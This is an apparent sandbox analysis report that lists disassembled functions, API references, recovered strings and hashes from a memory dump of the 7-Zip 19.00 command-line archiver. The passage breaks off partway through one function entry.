Opcode ID: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction ID: 1529072b3d1c5f5afa9149c689a1d091452f741b7330bdb540c515d8ccb33af5
Opcode Fuzzy Hash: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction Fuzzy Hash: 19C1C57335568092CE34EB25E4905AEB771F7E5B84F914222EA9E43739DF38C986C701

Function 00123AFC Relevance: 21.4, APIs: 17, Instructions: 169COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00123B4A
free.MSVCRT ref: 00123B52
free.MSVCRT ref: 00123B62
free.MSVCRT ref: 00123B6E
free.MSVCRT ref: 00123BA0
free.MSVCRT ref: 00123BA8
free.MSVCRT ref: 00123BB8
free.MSVCRT ref: 00123BC4
free.MSVCRT ref: 00123BF6
free.MSVCRT ref: 00123BFE
free.MSVCRT ref: 00123C0E
free.MSVCRT ref: 00123C53
free.MSVCRT ref: 00123C5B
free.MSVCRT ref: 00123C6B
free.MSVCRT ref: 00123C9E
free.MSVCRT ref: 00123CDE
free.MSVCRT ref: 00123CE8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction ID: 41ee2623e94c498a14a387632b3e35e14daa22ce3a64c9288ab458b12908fd82
Opcode Fuzzy Hash: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction Fuzzy Hash: 82511D33702A9499CB19EE36D4946AD6320FB96F95B1D4272DF2E1B718CF38C965C310

Function 0014D998 Relevance: 21.2, APIs: 13, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00114D78: free.MSVCRT ref: 00114DBC
Part of subcall function 00114D78: free.MSVCRT ref: 00114DC4
Part of subcall function 00114D78: free.MSVCRT ref: 00114EAC

free.MSVCRT ref: 0014DAAC
free.MSVCRT ref: 0014DAB4
free.MSVCRT ref: 0014DAC2
free.MSVCRT ref: 0014DAF0
free.MSVCRT ref: 0014DAF8
free.MSVCRT ref: 0014DB06
free.MSVCRT ref: 0014DBB6
free.MSVCRT ref: 0014DBE9
free.MSVCRT ref: 0014DBF1
free.MSVCRT ref: 0014DBFF
free.MSVCRT ref: 0014DC2D
free.MSVCRT ref: 0014DC35
free.MSVCRT ref: 0014DC43

Part of subcall function 00114338: wcscmp.MSVCRT ref: 00114345

Strings

..\, xrefs: 0014DB27

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID: ..\
API String ID: 4021281200-2756224523
Opcode ID: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction ID: 8125ce3e15e5244aa305c33bfbc88a2a011f852f377d5bb36ecd66fa1cc1de85
Opcode Fuzzy Hash: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction Fuzzy Hash: 59618F22714A8096CE24EF16F49126EB720FBE6B94F590135EF5E1B768DF78C942C700

Function 00150B2C Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00150B57
fputs.MSVCRT ref: 00150B67

Part of subcall function 00112568: free.MSVCRT ref: 001125B5
Part of subcall function 00112568: free.MSVCRT ref: 001125C0

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

fputs.MSVCRT ref: 00150BB4
fputs.MSVCRT ref: 00150BC4
fputs.MSVCRT ref: 00150BD0
free.MSVCRT ref: 00150BE4
fputs.MSVCRT ref: 00150C0C
fputs.MSVCRT ref: 00150C1C
fputs.MSVCRT ref: 00150C2A

Strings

Modified: , xrefs: 00150C15
Path: , xrefs: 00150B60
Size: , xrefs: 00150BBD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Modified: $Path: $Size:
API String ID: 2662072562-3207571042
Opcode ID: 496fa3ffaf823c2aebc81c865e07b2af86b11c6c8c3a8b9c12195a7aa1bd88ef
Instruction ID: 2b31320029cfea5376249d5f6dfc06725eff79ab98751b0d0dfa4f13e1c89300
Opcode Fuzzy Hash: 496fa3ffaf823c2aebc81c865e07b2af86b11c6c8c3a8b9c12195a7aa1bd88ef
Instruction Fuzzy Hash: F1214F76204D01D1EE14EF25EE903ED2321BB9ABE9F448226EE3D076A4DF38C55AC300

Function 0011BF04 Relevance: 20.3, APIs: 16, Instructions: 327COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011BF55
free.MSVCRT ref: 0011BF5D
free.MSVCRT ref: 0011BF93
free.MSVCRT ref: 0011BF9B
free.MSVCRT ref: 0011BFF4
free.MSVCRT ref: 0011C1DC
free.MSVCRT ref: 0011C1F6
free.MSVCRT ref: 0011C210
free.MSVCRT ref: 0011C22A
free.MSVCRT ref: 0011C1A5

Part of subcall function 00112D34: free.MSVCRT ref: 00112D77

free.MSVCRT ref: 0011C1C2
free.MSVCRT ref: 0011C237
free.MSVCRT ref: 0011C248
free.MSVCRT ref: 0011C253
free.MSVCRT ref: 0011C3AF
free.MSVCRT ref: 0011C3BD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 73dc987ccbc96a76fd053137d80cd1e85e68fdadf62f71c117497fccd2584006
Instruction ID: d3bb3e11707ee42a7bdf5fccfbb8b0eeeb2ad34e66d8e6285665d2194d52247a
Opcode Fuzzy Hash: 73dc987ccbc96a76fd053137d80cd1e85e68fdadf62f71c117497fccd2584006
Instruction Fuzzy Hash: DEC1932235958092CB28EF65E4801EEA770F7DAB80F944132EB4E53B69DF39C9D5CB41

Function 00120998 Relevance: 19.6, APIs: 12, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 001209CE
memmove.MSVCRT ref: 001209E7
memmove.MSVCRT ref: 00120A00
_CxxThrowException.MSVCRT ref: 00120B70
free.MSVCRT ref: 00120B7E
free.MSVCRT ref: 00120B8B
free.MSVCRT ref: 00120B98
free.MSVCRT ref: 00120BA5
free.MSVCRT ref: 00120BB2
free.MSVCRT ref: 00120BBC
free.MSVCRT ref: 00120BC6
free.MSVCRT ref: 00120BD0

Strings

Incorrect volume size:, xrefs: 00120B53

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: Incorrect volume size:
API String ID: 3957182552-1799541332
Opcode ID: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction ID: 7d0373ca1168a530500dc64c6262b8cc6c5b4f8e79b7a87a409bb56a2b4266a7
Opcode Fuzzy Hash: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction Fuzzy Hash: 50518172204A8492DF29EF25E8903EDB320F799B84F844222DB9D47766DF38C5A5C740

Function 00127178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001271FD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c96e70f305775fe2be644aefe5c3f32861bae157b673a4b6227a1bbf3ac5cc1e
Instruction ID: ad8700e67e85118c397b2c93f0faa353a89f75b040e9732a002ade5d38c71f4c
Opcode Fuzzy Hash: c96e70f305775fe2be644aefe5c3f32861bae157b673a4b6227a1bbf3ac5cc1e
Instruction Fuzzy Hash: 41715132208A4091DB18EF25E8503AE7761FB95BD4F481232EF5E877A9DF38C5A6C340

Function 0011A8A0 Relevance: 18.2, APIs: 10, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

free.MSVCRT ref: 0011A90A
free.MSVCRT ref: 0011A9AD

Strings

/, xrefs: 0011AA22
\, xrefs: 0011AA1B

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: /$\
API String ID: 1534225298-1600464054
Opcode ID: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction ID: 39cb8f6124fb2c3e7fec4cc596c4fc62e6e7003df91a40a3b3c9a9509c6e9bea
Opcode Fuzzy Hash: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction Fuzzy Hash: D0518312205640A18E2CEF21E5510FD6F20EFA67D4BC55131FB6E8766ADF28CACAC742

Function 001585C7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001585DA
free.MSVCRT ref: 001585E2
memmove.MSVCRT ref: 00158602
fputs.MSVCRT ref: 00158637
fputs.MSVCRT ref: 00158647
free.MSVCRT ref: 0015867B
free.MSVCRT ref: 00158683
free.MSVCRT ref: 00158695

Strings

Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 00158640
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00158630

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputs$memmove
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2337578458-4238946813
Opcode ID: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction ID: ef9140e060be3336dcd33e849d76bb521c859d79b3b870f9032ba42a82ec21cc
Opcode Fuzzy Hash: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction Fuzzy Hash: 86114C723156C0D6DB20DF15E9803AEB322B795B95F584122DF6D2B718CF38C89AC701

Function 0011FEC8 Relevance: 16.6, APIs: 8, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00118624: free.MSVCRT ref: 001186A9

_CxxThrowException.MSVCRT ref: 0011FF2F
free.MSVCRT ref: 0011FFAE
_CxxThrowException.MSVCRT ref: 0011FFD1
_CxxThrowException.MSVCRT ref: 0011FFF7
_CxxThrowException.MSVCRT ref: 0012002B
free.MSVCRT ref: 001200DF
free.MSVCRT ref: 001200E7
free.MSVCRT ref: 001200F5

Strings

The file operation error for listfile, xrefs: 0011FF71
Cannot find listfile, xrefs: 0011FF12
Incorrect item in listfile.Check charset encoding and -scs switch., xrefs: 0011FFDA, 0012000E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrow
String ID: Cannot find listfile$Incorrect item in listfile.Check charset encoding and -scs switch.$The file operation error for listfile
API String ID: 4001284683-1604901869
Opcode ID: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction ID: 765b94633e8d49036989ae0fe448dfc1f93ef9448b18f27e804e9a2e2cd578a1
Opcode Fuzzy Hash: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction Fuzzy Hash: E951D47231868192DA21DF11F89079FB721F7AA7D0F900226FF9903A59DF79C946CB00

Function 00117524 Relevance: 16.4, APIs: 13, Instructions: 153COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011756F
SetLastError.KERNEL32 ref: 0011758E
free.MSVCRT ref: 0011759A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction ID: ca786d9a7f2cf4a2c68b9d436df1a5b5029236eb17787972ecf3c39c9f7dc156
Opcode Fuzzy Hash: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction Fuzzy Hash: C251882221C94092DA18EB24E4915EEA770EBE6790F541232F79E437F9DF74C9C6CB10

Function 00153148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00153184
fputs.MSVCRT ref: 00153194
fputs.MSVCRT ref: 001531E1
fputs.MSVCRT ref: 001531F1

Strings

ERROR, xrefs: 0015317D
ERRORS:, xrefs: 00153164
= , xrefs: 0015318D, 001531EA
WARNINGS:, xrefs: 001531BE
WARNING, xrefs: 001531DA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs
String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
API String ID: 1795875747-2836439314
Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction ID: ea75f1bdabd0b898937c0c00f4b31ea1238855aa9f725ff2e37dfbc5bbf3caad
Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction Fuzzy Hash: 8711B1B6300940D2FB25DF26ED847986721B719BC6F048022DF680BA60DF39CAADC300

Function 001565D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001565F8
fputs.MSVCRT ref: 00156604
fputs.MSVCRT ref: 00156614

Part of subcall function 00156460: fputs.MSVCRT ref: 001564B3

fputs.MSVCRT ref: 00156643
fputs.MSVCRT ref: 00156674
free.MSVCRT ref: 00156680

Strings

, xrefs: 001565F1
MB, xrefs: 0015663C
Memory =, xrefs: 0015660D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free
String ID: $ MB$ Memory =
API String ID: 3873070119-2616823926
Opcode ID: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction ID: bea527ee6f49570b761fb52f512e8450a7e54b633ed571bc924852dacec043d7
Opcode Fuzzy Hash: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction Fuzzy Hash: 5A111FB2204D01D1EB10DF25ED403AA6330F794BE6F449226EE6E476A4DF38C95AC340

Function 001530CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001530E7
fputs.MSVCRT ref: 00153104
fputs.MSVCRT ref: 00153114

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

fputs.MSVCRT ref: 00153132

Strings

ERROR, xrefs: 001530F7
] archive, xrefs: 00153125
Open , xrefs: 001530DD
: Can not open the file as [, xrefs: 0015310D
WARNING, xrefs: 001530F0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 3873070119-2741933734
Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction ID: e19b3c9496b75ff441ee7456c2170ae11d7cd9f6fd2cd832072fde47c91fa7df
Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction Fuzzy Hash: 03F0E7B5300E05D1EE149F66ED943D96326BB99FD5F849026EE6E073649F3DC54AC300

Function 0014EE5C Relevance: 15.3, APIs: 12, Instructions: 344COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014EFB0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c6c1dfda41fa0d06ad42f95544832c1263e566194fcfacdfad1f80fd41ef587c
Instruction ID: 6fdcee4645c2d07f984bd1f5dcb0c170d6ab191924ffc71e48c8b9a0a5102e27
Opcode Fuzzy Hash: c6c1dfda41fa0d06ad42f95544832c1263e566194fcfacdfad1f80fd41ef587c
Instruction Fuzzy Hash: D5E16836314B8092CB58DF26E49479EB7A1F799F84F04912AEB8E47725DF39C896C700

Function 00116B2C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00116B4F
GetProcAddress.KERNEL32 ref: 00116B5F
free.MSVCRT ref: 00116C0C
free.MSVCRT ref: 00116C17
free.MSVCRT ref: 00116C25
free.MSVCRT ref: 00116C30

Strings

kernel32.dll, xrefs: 00116B48
CreateHardLinkW, xrefs: 00116B58

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$AddressHandleModuleProc
String ID: CreateHardLinkW$kernel32.dll
API String ID: 399046674-294928789
Opcode ID: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction ID: 9564545b2a180550ec08a49ffe15895828ac5404859601d101661d2b4b092225
Opcode Fuzzy Hash: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction Fuzzy Hash: DF21E12231994091CE28EB25AC517EE5710ABD27D0F841235FE9A8B764DF29C8C6C700

Function 0011DEBC Relevance: 13.9, APIs: 11, Instructions: 168COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011DF01
free.MSVCRT ref: 0011DFEC
free.MSVCRT ref: 0011E051
free.MSVCRT ref: 0011E05C
free.MSVCRT ref: 0011E072
free.MSVCRT ref: 0011E07D
free.MSVCRT ref: 0011E0A1
free.MSVCRT ref: 0011E0A9
free.MSVCRT ref: 0011E0D2
free.MSVCRT ref: 0011E0DA
free.MSVCRT ref: 0011E0E9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4a8c016d17941940ccb69cce4f22d951ccabf5595733c0ae8ca37ad45cd0dd66
Instruction ID: 4726d9cb42b47e2644ccdf1030762525696887a1a1a00368069882f3473ad589
Opcode Fuzzy Hash: 4a8c016d17941940ccb69cce4f22d951ccabf5595733c0ae8ca37ad45cd0dd66
Instruction Fuzzy Hash: 4E518322315A4195CA29EF25E8501EA6760FBD9BE4B580235FF5E47768DF38C6C7C700

Function 00122C58 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00122DC0
free.MSVCRT ref: 00122DC8
free.MSVCRT ref: 00122DD9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction ID: 5b2ae23106886f52f3fc7fc0a41ea08affe5696dd4d97ded8155c7bc0b05e8e3
Opcode Fuzzy Hash: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction Fuzzy Hash: 954191337149A8A6CB34AE55F88016D6361F7997A4F590236EF5E1BB14DB38CCA2C740

Function 00145988 Relevance: 12.7, APIs: 10, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7339f14c52790c104396c75c90f75acb671024a89b4c5f409cc22bad2f54e61d
